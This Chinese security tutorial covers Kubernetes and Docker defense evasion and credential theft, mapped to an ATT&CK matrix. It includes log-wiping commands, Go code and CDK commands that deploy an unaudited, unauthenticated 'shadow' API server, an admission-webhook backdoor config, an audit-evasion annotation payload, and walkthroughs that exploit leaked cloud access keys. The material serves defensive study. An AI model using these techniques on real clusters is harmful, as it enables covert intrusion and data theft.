第七节:云上容器安全威胁(四)防御逃避与窃取凭证

admin 2024年1月28日23:43:04评论37 views字数 17981阅读59分56秒阅读模式
基础到深度
了解容器安全

常见容器安全威胁来源于构建环境安全、运行时安全、操作系统安全、编排管理安全等,参考下图阿里云云上容器ATT&CK攻防矩阵,进行体系化研究:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

01
容器安全ATT&CK矩阵之防御逃避
第七节:云上容器安全威胁(四)防御逃避与窃取凭证

在MITRE ATT&CK框架中,防御逃避(Defense Evasion)是针对容器环境或其他计算环境的一个关键战术类别。这个战术下的技战法主要目标是让攻击者能够在不被安全工具或防护措施检测到的情况下维持对目标系统的持久控制,或者改变、隐藏其恶意活动的痕迹。对于云上容器ATT&CK矩阵而言,防御逃避可能涉及以下几种原理和目标:

  1. 权限升级:攻击者可能会尝试通过漏洞利用、配置错误或其他手段提升在容器内的权限,以获得更高的访问级别,从而避开基于角色的访问控制等安全策略。

  2. 规避检测机制:包括修改、删除或禁用日志记录服务,以及清除或篡改审计记录,使安全团队无法追踪攻击者的活动。

  3. 隐藏进程/活动:攻击者可能使用隐藏进程、隐蔽通道或者其他方法隐藏恶意软件的执行和网络通信,避免被监控系统发现。

  4. 滥用容器特性:利用容器技术的特点进行逃逸,例如通过突破容器隔离边界,影响宿主机或者其他容器;或者利用Kubernetes API Server的漏洞来更改资源定义或状态,以达到隐藏自身的目的。

  5. 篡改文件与系统组件:替换或修改系统文件、库或配置,比如篡改安全软件的二进制文件,使其失效或者绕过安全检查。

  6. 加密通信:为了掩盖恶意命令和控制流量,攻击者可能会加密他们的通信,使得传统的流量分析难以检测出异常行为。

在实际应用中,防御逃避的技战法会根据容器环境的具体技术和架构特点演变出针对性的方法,因此对于容器环境的安全防护需要全面考虑这些潜在的风险点,并采取相应的监测、预防和响应措施。

A.容器及宿主机日志清理

在取得特定权限后,攻击者能够肆意抹除容器内及其宿主机操作系统与服务活动的记录日志,此举无疑将企业的入侵事件回溯分析和源头追踪过程复杂化,犹如在迷宫中寻觅隐形的线索。当前,为应对此类日志恶意消除导致的溯源困境,容器运行时安全解决方案已普遍采用实时的日志捕获机制、自我保护策略以及针对日志采集异常的智能预警系统。

而在云原生架构下的容器攻防博弈中,如同狡猾的对手试图斩断侦查之线,恶意卸载安全产品agent以中断日志采集能力的行为也日渐凸显为一种高频出现的攻击手段。这一现象警示我们,在这场无形的战役中,确保日志的安全留存与持续收集,不仅是构建坚固防御壁垒的关键环节,更是揭示敌手真实面目的决定性一环。

在Docker环境中,容器的日志通常会通过json-file驱动(默认配置下)存储到宿主机的文件系统上。要管理这些日志文件,您可以直接操作它们或使用Docker提供的命令行工具进行清理。下面介绍一些常用指令。

1. 查找日志位置:

首先,确定容器日志文件的位置,这通常位于宿主机的 /var/lib/docker/containers/<container_id>/<container_id>-json.log 路径下,其中 <container_id> 是容器的唯一标识符。

2. 手动清理日志文件:

可以直接删除或者截断日志文件,例如:

sudo truncate -s 0 /var/lib/docker/containers/<container_id>/<container_id>-json.log

或者

sudo rm /var/lib/docker/containers/<container_id>/<container_id>-json.log

3. 使用 Docker 命令:

a. 重启容器以清除现有日志:

可以通过重启容器来清除其当前的所有日志(前提是在启动容器时没有指定 --log-opt max-size 或 --log-opt max-file 参数来自定义日志滚动策略):

docker restart <container_name_or_id>

b. 清理整个系统的无用资源(包括停止的容器日志):

使用 docker system prune 命令可以清理所有未运行的容器及其关联的日志文件、网络和无标签镜像等:

docker system prune --volumes
B.K8s Audit日志清理

Kubernetes审计功能构建了一个详尽的时间序列记录框架,专注于捕获并按顺序记录针对系统的所有关键安全相关活动,这些活动由单个用户、管理员或系统内部组件所触发。此审计日志系统深入地提供了事件详情,包括但不限于事件类型、发生时间戳、执行操作的用户身份、作用对象资源、发起请求的源头以及操作执行的成功与否等关键信息,从而极大地增强了运行时的安全性和可审计性。

攻击者可能通过规避手段,如清除本地存储的日志文件(其位置可根据用户或服务提供商的需求进行自定义配置),或者干扰日志向第三方服务商或安全产品的传输通道(例如,通过卸载日志代理程序或实施网络层面的阻断策略),以试图掩盖在Kubernetes集群中的恶意操作痕迹。

在实际攻击中,攻击者可能会尝试以下几种方式来规避审计:

1、不触发审计:利用已知漏洞绕过审计系统,如匿名访问或利用未授权漏洞执行操作而不留下日志。或使用内部服务账户或者劫持已有权限较高的账户进行操作,如果配置不当,这些操作可能不会被充分记录。

2、篡改审计日志:如果攻击者能够获取到审计日志存储位置的写入权限,理论上可以尝试覆盖、删除或伪造日志条目以掩盖其活动痕迹。但这需要相当高的权限且是严重违反安全策略的行为。

3、实时干扰审计流程:干扰Audit Log收集管道,例如攻击正在运行的日志代理或Fluentd等组件,阻止日志传输到远程存储或其他安全区域。

为确保审计记录的完整性和不可篡改性,一些先进的容器安全解决方案充分利用了Kubernetes的AuditSink特性,将审计日志实时导出至外部审计存储系统。此外,用户可通过定制化调整Kubernetes的核心配置项,实现对审计功能的灵活启用与禁用控制,以满足不同场景下的合规要求和安全管理策略。

阿里云容器服务Kubernetes Audit审计中心:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

C.利用系统Pod伪装

在Kubernetes(简称K8s)部署架构中,系统会在kube-system命名空间内预置一系列核心功能性Pod,这些Pod承载着集群的关键服务与功能组件。对于采用云服务商容器服务构建的Kubernetes集群而言,为了实现日志收集、性能监控等运维需求,会默认集成若干由云服务商提供的特定组件,这些组件通常以Agent形式运行于Pod中。

攻击者可能会瞄准这些内置的K8s功能性Pod或云服务商预置的监控代理Pod,利用其作为潜在的持久化后门入口。他们可能通过篡改或植入恶意代码至这些Pod中,以达到隐蔽且持续地控制系统的目的,从而对集群的安全性构成威胁。
    如阿里云托管版K8s服务内置pod如下:

> kubectl get deployments --namespace=kube-systemNAME                              READY   UP-TO-DATE   AVAILABLE   AGEalibaba-log-controller            1/1     1            1           183dalicloud-application-controller   1/1     1            1           183dalicloud-disk-controller          1/1     1            1           183dalicloud-monitor-controller       1/1     1            1           183daliyun-acr-credential-helper      1/1     1            1           183dcoredns                           2/2     2            2           183dmetrics-server                    1/1     1            1           183dnginx-ingress-controller          2/2     2            2           183dtiller-deploy                     1/1     1            1           183d

再比如腾讯云Kubernetes服务(TKE)在kube-system命名空间下预置了一些关键的系统Pod,这些内置Pod通常负责集群的管理和运维功能。具体包含哪些Pod会根据实际部署时的服务配置和版本有所不同。

通常包括但不限于以下几种常见的功能性Pod:1. kube-apiserver: 提供Kubernetes API服务器,是集群控制面的核心组件。2. kube-scheduler: 负责调度Pod到合适的节点上运行。3. kube-controller-manager: 包含多个控制器,如节点控制器、副本集控制器等,负责集群状态的自动化管理。4. etcd: 分布式键值存储系统,用于持久化集群的所有重要数据。5. coredns 或 kube-dns: 集群内部的DNS服务,为Pod提供服务发现能力。6. kube-proxy: 在每个工作节点上运行,实现集群内网络代理与负载均衡功能。7. cloud-controller-manager: 与腾讯云基础设施交互的控制器,负责处理云服务商特定的功能,比如弹性伸缩、负载均衡器集成、云存储卷管理等。此外,为了支持云平台上的日志收集、监控告警、安全审计等运维需求,腾讯云TKE还可能默认部署一些额外的Agent或Operator Pod,例如:1. TencentCloud-xxx-agent: 用于采集容器、节点的日志和性能指标,并将数据发送至腾讯云的监控和日志服务。2. csi-plugin: Kubernetes CSI插件,用来支持各种云存储服务的挂载与卸载。
D.通过代理或匿名网络访问K8s API Server

K8s审计日志系统详尽记录了每项操作的发起者源IP地址信息。当外部实体通过公网接口访问API Server时,其使用的IP地址会被审计日志系统精确捕获并记录下来,这一过程将触发异常行为检测机制以及威胁情报预警体系,以便于对潜在的安全风险和异常访问行为进行实时监控与精准识别。

如K8s Audit日志对pod exec行为的记录:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

对此,实施攻击活动时采用代理或匿名网络以进行反向追踪规避是一种常见策略。

E.清理安全产品Agent

目前主流容器运行环境的安全解决方案主要采用两种部署架构:并行容器模式和主机代理模式。前者通过构建安全容器,实现对Pod及Kubernetes集群的深度日志收集与网络代理功能;后者则在虚拟机层级对接容器层的进程、网络通信和文件系统进行实时监控与数据采集。

当攻击者成功获取到集群管理权限或实现逃逸至宿主机层面时,他们有可能针对性地清除安全产品所嵌入的探针组件,从而破坏日志完整性,使得后续潜在的攻击行为无法被审计工具有效检测和记录。在这个过程中,无论是安全容器的异常离线还是主机代理的失效状态,通常都会触发系统的防御性告警机制,以警示可能存在的安全风险。

国内外容器安全产品众多,以下是一些主流的容器安全解决方案:

国外厂商:

  1. Aqua Security - Aqua的安全Agent可能以不同组件形式存在,如Aqua Enforcer用于运行时防护。

  2. Sysdig Secure - Sysdig Secure Agent在宿主机上运行并监控所有容器。

  3. Twistlock by Palo Alto Networks(现Prisma Cloud Compute)- 其Runtime Defender Agent可以监控容器安全。

  4. Tenable.io Container Security

  5. StackRox - 后来被Red Hat收购,其安全功能已整合进OpenShift Kubernetes平台。

  6. CrowdStrike Falcon for Containers - 使用Falcon Sensor进行端点保护,包括容器环境。

国内厂商:

  1. 阿里云容器服务

  2. 安全狗云甲·云原生容器安全管理系统 - 部署有主机安全Agent和安全容器技术相结合的产品。

  3. 长亭科技veinmind-tools - 虽然不是直接运行在容器内的Agent,但提供了针对容器安全的一系列工具集。

关于运行在容器内部的安全进程名字,通常情况下,容器安全产品的Agent并不会直接作为容器内的独立进程运行,而是通过部署在宿主机上的Daemon或者Sidecar容器的形式来间接保护容器内部的安全。例如,一些产品会使用eBPF技术、Kubernetes的Admission Controllers或通过网络策略等机制实现安全控制,而不需要特定的、命名明确的安全Agent进程运行在每个容器内部。

具体到某个安全产品的内部进程名称,需要查阅对应产品的官方文档和技术细节才能得知准确信息。

腾讯云:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

建行云:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

F.创建影子API Server

攻击者可以复制原生API Server的配置,修改关键参数(例如关闭认证,允许匿名访问,使用HTTP请求),再使用这些修改过的参数创建Pods。攻击者可以通过这个影子API Server直接获取etcd内存储的内容,使后续渗透行为在审计日志中匿名。

该技术由研究人员在 "RSAC 2020: Advanced Persistence Threats: The Future of Kubernetes Attacks" 提出,旨在创建一种针对K8s集群的隐蔽持续控制通道。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

该思路是创建一个具有API Server功能的Pod,后续命令通过新的"shadow api server"下发。新的api server创建时可以开放更大权限,并放弃采集审计日志,且不影响原有api-server功能,日志不会被原有api-server记录,从而达到隐蔽性和持久控制目的。执行这一思路的前提是已经拿到了master node的create pod权限,接下来主要讨论如何把这个思路工程化。

先看一下master node原有的apiserver配置:

kubectl get pods -n kube-system | grep kube-apiserver

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

kubectl get pods -n kube-system kube-apiserver-cn-beijing.192.168.0.150 -o yaml

在原有的apiserver配置中我们可以看到apiserver的启动参数,其中包含etcd和kubelet的通信凭据,etcd的手工连接方法参考:《K8s渗透测试etcd的利用》https://www.cdxy.me/?p=827

此外,我们要构造shadow apiserver主要关注以下几个点的配置:第七节:云上容器安全威胁(四)防御逃避与窃取凭证

    这个pod的配置中我们只需要改动command字段让shadow spiserver获取更多权限,而保留pod原有的通信凭据和其他启动参数。

func generateShadowApiServerConf(json string) string {    json, _ = sjson.Delete(json, "status")    json, _ = sjson.Delete(json, "metadata.selfLink")    json, _ = sjson.Delete(json, "metadata.uid")    json, _ = sjson.Delete(json, "metadata.annotations")    json, _ = sjson.Delete(json, "metadata.resourceVersion")    json, _ = sjson.Delete(json, "metadata.creationTimestamp")    json, _ = sjson.Delete(json, "spec.tolerations")    json, _ = sjson.Set(json, "metadata.name", gjson.Get(json, "metadata.name").String()+"-shadow")    json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"-shadow")    // remove audit logs to get stealth    reg := regexp.MustCompile(`(")(--audit-log-[^"]*?)(")`)    json = reg.ReplaceAllString(json, "${1}${3}")    argInsertReg := regexp.MustCompile(`(^[sS]*?"command"[s:]*?[[^]]*?"kube-apiserver")([^"]*?)(,s*?"[sS]*?)$`)    // set --allow-privileged=true    reg = regexp.MustCompile(`("--allow-privilegeds*?=s*?)(.*?)(")`)    json = reg.ReplaceAllString(json, "${1}true${3}")    if !strings.Contains(json, "--allow-privileged") {        json = argInsertReg.ReplaceAllString(json, `${1},"--allow-privileged=true"${3}`)    }    // set insecure-port to 0.0.0.0:9443    reg = regexp.MustCompile(`("--insecure-ports*?=s*?)(.*?)(")`)    json = reg.ReplaceAllString(json, "${1}9443${3}")    if !strings.Contains(json, "--insecure-port") {        json = argInsertReg.ReplaceAllString(json, `${1},"--insecure-port=9443"${3}`)    }    reg = regexp.MustCompile(`("--insecure-bind-addresss*?=s*?)(.*?)(")`)    json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}")    if !strings.Contains(json, "--insecure-bind-address") {        json = argInsertReg.ReplaceAllString(json, `${1},"--insecure-bind-address=0.0.0.0"${3}`)    }    // set --secure-port to 9444    reg = regexp.MustCompile(`("--secure-ports*?=s*?)(.*?)(")`)    json = reg.ReplaceAllString(json, "${1}9444${3}")    if !strings.Contains(json, "--secure-port") {        json = argInsertReg.ReplaceAllString(json, `${1},"--secure-port=9444"${3}`)    }    // set anonymous-auth to true    reg = regexp.MustCompile(`("--anonymous-auths*?=s*?)(.*?)(")`)    json = reg.ReplaceAllString(json, "${1}true${3}")    if !strings.Contains(json, "--anonymous-auth") {        json = argInsertReg.ReplaceAllString(json, `${1},"--anonymous-auth=true"${3}`)    }    // set authorization-mode=AlwaysAllow    reg = regexp.MustCompile(`("--authorization-modes*?=s*?)(.*?)(")`)    json = reg.ReplaceAllString(json, "${1}AlwaysAllow${3}")    if !strings.Contains(json, "--authorization-mode") {        json = argInsertReg.ReplaceAllString(json, `${1},"--authorization-mode=AlwaysAllow"${3}`)    }    return json}
通过原有json生成新的json之后,即可部署到master node中。
渗透过程自动化即:
      1. 在攻入的pod内部查找API-server访问地址和凭据

      2. 连接apiserver判断权限

      3. 获取apiserver原有配置

      4. 修改配置

      5. 重新部署shadow apiserver

以上过程已经集成到工具中,为了适应不同容器环境中没有kubectl 和 curl等命令的情况,CDK适用golang net.http原生实现了此exp。

  • https://github.com/cdk-team/CDK/blob/main/pkg/exploit/k8s_shadow_apiserver.go

测试流程:

首先在pod中使用cdk寻找弱点:

cdk evaluate

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

发现当前pod内置的service account具有高权限,接下来使用exp部署shadow apiserver。

cdk run k8s-shadow-apiserver default

此命令会自动完成pod搜寻->配置拉取->配置修改->部署pod的一系列操作,其中default参数代表执行命令的过程通过pod默认的server account token鉴权。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

部署成功之后,后续渗透操作全部由新的shadow apiserver代理,由于打开了无鉴权端口,任何pod均可直接向shadow apiserver发起请求管理集群。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

dump k8s secrets:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

G.创建超长annotations使K8s Audit日志解析失败

Annotations 是注解的意思,也使用key/value 键值对进行定义,Annotations 的作用类似代码的注释功能,可以为资源添加说明,可以是镜像的相关信息,日志记录,负责人信息等等。不同于 Labels 用于标志和选择对象,Annotations 用来记录一些附加信息可以用来辅助应用部署、安全策略以及调度策略等。比如 deployment 使用 annotations 来记录 rolling update 的状态。示例如下:

[root@qianli ~]# cat deployment.ymlapiVersion: apps/v1kind: Deploymentmetadata:  name: app003spec:  replicas: 1  selector:    matchLabels:      app: web  template:    metadata:      annotations:        imageregistry: "https://index.docker.io/v1/"      labels:        app: web    spec:      containers:      - name: tomcat        image: tomcat:8.0

一般情况下云厂商/安全产品会使用自身日志服务的agent对K8s Audit日志进行采集和解析,以便于与后续审计规则结合。在入侵检测中,日志的采集-存储-计算的过程会受限于agent的性能占用、Server端日志服务以及其他云产品/开源组件对存储和计算的限制,过长的字段将有可能触发截断,导致敏感信息无法经过审计规则从而绕过入侵检测,K8s API请求中允许携带1.5MiB的数据,但在Google StackDriver日志服务仅允许解析256KB的内容,这将导致Audit日志中的敏感信息(如创建Pod时的磁盘挂载配置项)绕过审计。

通过无意义的超长annotations攻击日志分析链路:

apiVersion: v1kind: Podmetadata:  name: annotations-bypass  annotations:        useless-key: useless-value(1 MiB)...
02
容器安全ATT&CK矩阵之窃取凭证
第七节:云上容器安全威胁(四)防御逃避与窃取凭证

Kubernetes系统自身并不承载用户身份信息,其用户身份认证完全依赖于所采用的认证机制。比如在采用Open ID Connect作为认证方案时,用户的身份验证和授权信息将由OIDC服务提供商进行管理和维护,Kubernetes通过对接认证响应,获取并应用不同用户的认证结果。

kubernetes常见的凭据:

      • X509证书(kubeconfig)

      • Service Account => token file ,默认保存在/var/run/secrets/lubernetes.io/serviceaccount,包含ca.crt、namespace、token三个文件

      • 其他凭据:X509 Client Cert、Static Token File、Bootstrap Tokens、OpenID Connect Tokens……

k8s的认证过程,可参考:https://www.cnblogs.com/yangyuliufeng/p/13548915.html

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

其中,对于X509客户端证书认证方式,Kubernetes的核心认证流程简化为仅需验证客户端证书是否由集群内部的可信CA颁发并有效签名。一旦客户端证书通过了Kubernetes apiserver的权威验证,系统会自动提取证书中的“Common Name”字段用作用户的唯一标识,并将“Organization”字段映射为用户的组别归属。基于此,通过运用Role-Based Access Control (RBAC)策略,可在Kubernetes中为特定用户或用户组分配精细的权限规则。

例如,以下是一个ClusterRole配置实例,该配置表明只有具备该角色的用户(以证书中的“Common Name”标识)及其所在组(以证书中的“Organization”标识),才拥有对所有Pods和Namespaces资源的只读权限。

apiVersion: rbac.authorization.k8s.io/v1beta1kind: ClusterRolemetadata:  name: read-only-userrules:- apiGroups:  - ""  resources:  - pods  - namespaces  verbs:  - get  - list  - watch

上面ClusterRoleBinding将“brancz” 这个user绑定到了“read-only-user”这个ClusterRole上。利用下列脚本生成客户端证书,再用集群的CA证书对客户端证书进行签名,最后生成一个绑定的kubeconfig文件。这个文件可以直接被用来访问Kubernetes集群。最终文件在clients/$USER/目录下。(如果需要手动创建相关目录)

#!/usr/bin/env bashif [[ "$#" -ne 2 ]]; then    echo "Usage: $0 user group"    exit 1fiUSER=$1GROUP=$2CLUSTERENDPOINT=https://<apiserver-ip>:<apiserver-port>CLUSTERNAME=your-kubernetes-cluster-nameCACERT=cluster/tls/ca.crtCAKEY=cluster/tls/ca.keyCLIENTCERTKEY=clients/$USER/$USER.keyCLIENTCERTCSR=clients/$USER/$USER.csrCLIENTCERTCRT=clients/$USER/$USER.crtmkdir -p clients/$USERopenssl genrsa -out $CLIENTCERTKEY 4096openssl req -new -key $CLIENTCERTKEY -out $CLIENTCERTCSR       -subj "/O=$GROUP/CN=$USER"openssl x509 -req -days 365 -sha256 -in $CLIENTCERTCSR -CA $CACERT -CAkey $CAKEY -set_serial 2 -out $CLIENTCERTCRTcat <<-EOF > clients/$USER/kubeconfigapiVersion: v1kind: Configpreferences:  colors: truecurrent-context: $CLUSTERNAMEclusters:- name: $CLUSTERNAME  cluster:    server: $CLUSTERENDPOINT    certificate-authority-data: $(cat $CACERT | base64 --wrap=0)contexts:- context:    cluster: $CLUSTERNAME    user: $USER  name: $CLUSTERNAMEusers:- name: $USER  user:    client-certificate-data: $(cat $CLIENTCERTCRT | base64 --wrap=0)    client-key-data: $(cat $CLIENTCERTKEY | base64 --wrap=0)EOF
A.K8s Secret泄露

你可能已经听过很多遍这个不算秘密的秘密了--Kubernetes Secrets 不是加密的!Secret 的值是存储在 etcd 中的base64 encoded(编码)

Kubernetes系统运用Secret对象这一核心组件,以实现对access keys、密码、OAuth tokens以及SSH keys等敏感安全凭据的集中式管理和保护。在Pod的配置阶段,可内嵌引用Secret对象的机制,使得运行时环境能够安全地访问这些保密信息。

然而,潜在的安全风险在于,具备恶意企图的攻击者可能通过利用Pod内部的Service Account或其他具有更高权限的身份认证机制,非法获取并解析这些Secret内容,从而盗取其他服务间的通信授权凭证,威胁整个系统的安全性与完整性。
    查看并下载K8s secret保存的凭据:

> kubectl get secrets --namespace=kube-systemNAME                                             TYPE                                  DATA   AGEadmin-token-ltbcr                                kubernetes.io/service-account-token   3      184dalibaba-log-controller-token-9kv4m               kubernetes.io/service-account-token   3      184daliyun-acr-credential-helper-token-vwmlw         kubernetes.io/service-account-token   3      184dattachdetach-controller-token-l5bfh              kubernetes.io/service-account-token   3      184dbootstrap-signer-token-qbrx7                     kubernetes.io/service-account-token   3      184dbootstrap-token-509e2b                           bootstrap.kubernetes.io/token         6      184dcertificate-controller-token-dgpjn               kubernetes.io/service-account-token   3      184dcloud-node-controller-token-647sw                kubernetes.io/service-account-token   3      184d...> kubectl get secret alibaba-log-controller-token-9kv4m --namespace=kube-system -o yaml

因此需要注意在部署到集群之前对机密配置进行加密,或者使用可信第三方 Secrets 存储集成的 Secrets来进行管理。

B.云产品AK泄露

技战法介绍

在云原生应用部署流程中,涉及与多种云产品进行API层面的交互。一旦某应用的安全防护被突破,攻击者能够通过利用Kubernetes (K8s) 中的Secret机制或访问本地挂载的凭证文件,以此获取关联服务的访问密钥(Access Key, AK),进而实现对目标系统的横向渗透。对于AK/SK的利用思路来说,主要如下:

  1. 获取凭证:首先要获取到有效的AK和SK,这可以通过多种手段实现,包括社工钓鱼,明文泄露等

  2. 访问云资源:使用AK/SK访问目标云服务商的资源(其中可以包括虚拟机,储存桶,数据库,api端点等

  3. 未授权操作:使用工具连接上后,可以对其进行未进授权操作,例如创修删资源,查看敏感数据或执行其他危险操作

  4. 数据窃取:如果需要获取敏感数据,还可以获取到储存在云中的数据,如用户信息,机密文件,数据库备份等

  5. 资源滥用:通过AK/SK调用用户资源(如果过度使用会造成增加用户费用或服务器性能降低

  6. 隐藏活动:其中包括修改日志,删除痕迹,绕过监管平台

典型的情景是:当攻击者成功入侵WEB应用后,会试图获取并利用云存储服务(Object Storage Service, OSS)、云数据库服务(Relational Database Service, RDS)以及日志服务等资源的认证凭据,进一步深度挖掘,以窃取敏感数据。

示例:关于云产品AK的扫描规则已被工具化:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

在漏洞挖掘过程中常见的泄露场景有以下几种:

  1. 报错页面或者debug信息调试。

  2. GITHUB关键字、FOFA等。

  3. 网站的配置文件

  4. js文件中泄露

  5. 源码泄露。APK、小程序反编译后全局搜索查询。

  6. 文件上传、下载的时候也有可能会有泄露,比如上传图片、上传文档等位置。

  7. HeapDump文件。

典型案例

案例一:Spring Actuator heapdump文件造成的秘钥泄露。

扫描工具:https://github.com/F6JO/RouteVulScan

解压工具:https://github.com/wyzxxz/heapdump_tool

    访问某一网站时进行测试发现存在spring未授权,此时查看是否有heapdump文件,下载解压,全局搜索可发现密钥泄露。

如下图我们利用heapdump泄露找到亚马逊云的AK:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

随后拿下了某个账户在亚马逊云的集群管理权限。

案例二:Js文件泄露秘钥

使用工具:trufflehog

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

访问某网站,使用插件trufflehog探测,会在Findings位置显示是否有密钥泄露。(网站采用异步加载也适用)

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

案例三:小程序上传等功能点泄露

某小程序打开后在个人中心头像位置

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

点击头像抓包:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

可以看到accesskeyidacesskeysecret泄露。此外,在渗透测试过程中,应当对文件上传接口、文件下载环节以及图片预览等功能点进行深度审计与排查,这些区域往往存在潜在的安全风险,有可能导致访问密钥(AK/SK)等敏感信息的意外泄露。

案例四:配置信息中的aksk泄露

常见的nacos后台配置列表,打开示例可以看到一些配置信息,可以看到有aksk泄露。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

案例五:github等代码托管平台

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

利用方法

方法1:aksk接管存储桶。

使用工具或者云主机管理平台可以直接接管存储桶,接管桶后可以对桶内信息进行查看、上传、编辑、删除等操作。

OSS Browser--阿里云官方提供的OSS图形化管理工具:https://github.com/aliyun/oss-browser

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

可以看到登入存储桶后可以查看、上传、删除、下载桶内文件,造成存储桶接管的危害。

腾讯云云主机接管平台:https://cosbrowser.cloud.tencent.com/web/bucket

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

行云管家(支持多家云主机厂商):

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

可以选不同厂商的云主机导入。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

选择主机导入:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

通过行云管家接管主机后,不仅可以访问OSS服务,还可以直接重置服务器密码,接管服务器。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

可以对主机进行重启、暂停、修改主机信息等操作。

方法2:拿到aksk后可以尝试对主机进行命令执行。

CF 云环境利用框架:https://github.com/teamssix/cf/releases

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

使用cf查看该主机可做的操作权限,可以看到能执行命令。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

典型指令,如cf tencent cvm exec -c whoami等等。详情参考:https://wiki.teamssix.com/CF/ECS/exec.html

针对阿里云主机rce,可使用工具链接:https://github.com/mrknow001/aliyun-accesskey-Tools

输入aksk查询主机,选择主机名填入,查看云助手列表是true或者false,为true可执行命令。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

C.K8s Service Account凭证泄露

k8s安全性依赖于基于角色的访问控制。 在k8s环境中,k8s的"服务帐户令牌"(service account tokens)包含了“应用程序用于进行身份验证和执行操作”的权限。首先Kubernetes中账户区分为:User Accounts(用户账户) 和 Service Accounts(服务账户) 两种,它们的设计及用途如下:

  • User Account是给kubernetes集群外部用户使用的,例如运维或者集群管理人员,使用kubectl命令时用的就是UserAccount账户;UserAccount是全局性。在集群所有namespaces中,名称具有唯一性,默认情况下用户为admin;

  • Service Account是给运行在Pod的程序使用的身份认证,Pod容器的进程需要访问API Server时用的就是ServiceAccount账户;ServiceAccount仅局限它所在的namespace,每个namespace创建时都会自动创建一个default service account;创建Pod时,如果没有指定Service Account,Pod则会使用default Service Account。

了解了Service Account的重要性,就可以理解它在容器渗透中的诱惑力了。Service Account泄露场景多见于办公网运维PC、跳板机以及通过SSH管理的master节点上。黑客在攻破此类服务器时,可以检查本地是否存在kubectl鉴权所需的配置文件(一般在$HOME/.kube/config),该文件通常包含了登录K8s集群的全部信息。

D.应用层API凭证泄露

在复杂业务场景以及微服务架构中,K8s各个服务之间、容器与VM之间会通过API方式进行通信,窃取其通信凭证可用于横向渗透。在容器安全场景下,本技战法和云产品AK泄露有较大的重合之处。

API凭证相当于登录密码,只是使用场景不同。前者用于程序方式调用云服务API,而后者用于登录控制台。在阿里云,用户可以使用AccessKey构造一个API请求(或者使用云服务SDK)来操作资源。AccessKey包括AccessKeyId和AccessKeySecret。其中AccessKeyId用于标识用户,AccessKeySecret是用来验证用户的密钥。AccessKeySecret必须保密。在阿里云,它们看起来像这个样子:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

E.利用K8s准入控制器窃取信息

Kubernetes(K8s)的准入控制器(Admission Controller)作为一种策略执行机制,介入客户端与API Server之间的交互流程。其中,变更型(mutating)准入控制器具备修改其接收到对象实体的能力,而验证型(validating)准入控制器则负责审计并决定请求是否符合预设规范进而允许其通过。这一系列准入控制器呈链式结构运行,当任何单一控制器判定请求无效时,该请求将即刻被驳回,并向终端用户反馈错误信息。

为了促进用户自主部署和实施定制化的准入策略,K8s引入了动态准入控制(Admission Webhook)功能。这一功能实质上是建立了一个HTTP回调机制,使得外部服务能对接并处理K8s发出的准入请求。

针对动态准入控制可能的安全风险,有一种攻击场景如下:在恶意攻击者获取到cluster-admin级别的权限后,可以设定一个恶意的准入控制器,利用此机制将所有API访问操作挂钩至攻击者控制下的外部webhook作为验证服务。如此一来,K8s系统会将包含敏感信息的API请求透明地转发至攻击者的服务器,从而实现对集群数据的潜在窃取或操纵行为。

示例:利用准入控制器后门,使用通配符hook全部操作,使用failurePolicy和timeoutSeconds参数做到用户侧无感,从而实现隐蔽的数据窃取(如:K8s secret创建时发送到API的AK信息)。

apiVersion: admissionregistration.k8s.io/v1kind: ValidatingWebhookConfiguration...webhooks:- name: my-webhook.example.com  failurePolicy: Ignore  timeoutSeconds: 2  rules:  - apiGroups:   ["*"]    apiVersions: ["*"]    operations:  ["*"]    resources:   ["*/*"]    scope:       "*"...
F.Sercive Account 权限过大

在一些场景下容器内部应用可能需要访问kubernetes集群进行操作,如:

  • Prometheus监控

  • 集群管理的agent或CCE插件

  • 管里面管理集群的controller

查看Kubernetes Default Service

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

Default Service Account

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

默认情况下,这个 Service Account 的证书和 token 虽然可以用于和 Kubernetes Default Service 的 APIServer 通信,但是是没有权限进行利用的。

但是集群管理员可以为 Service Account 赋予权限:

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

此时直接在容器里执行 kubectl 就可以集群管理员权限管理容器集群。

第七节:云上容器安全威胁(四)防御逃避与窃取凭证

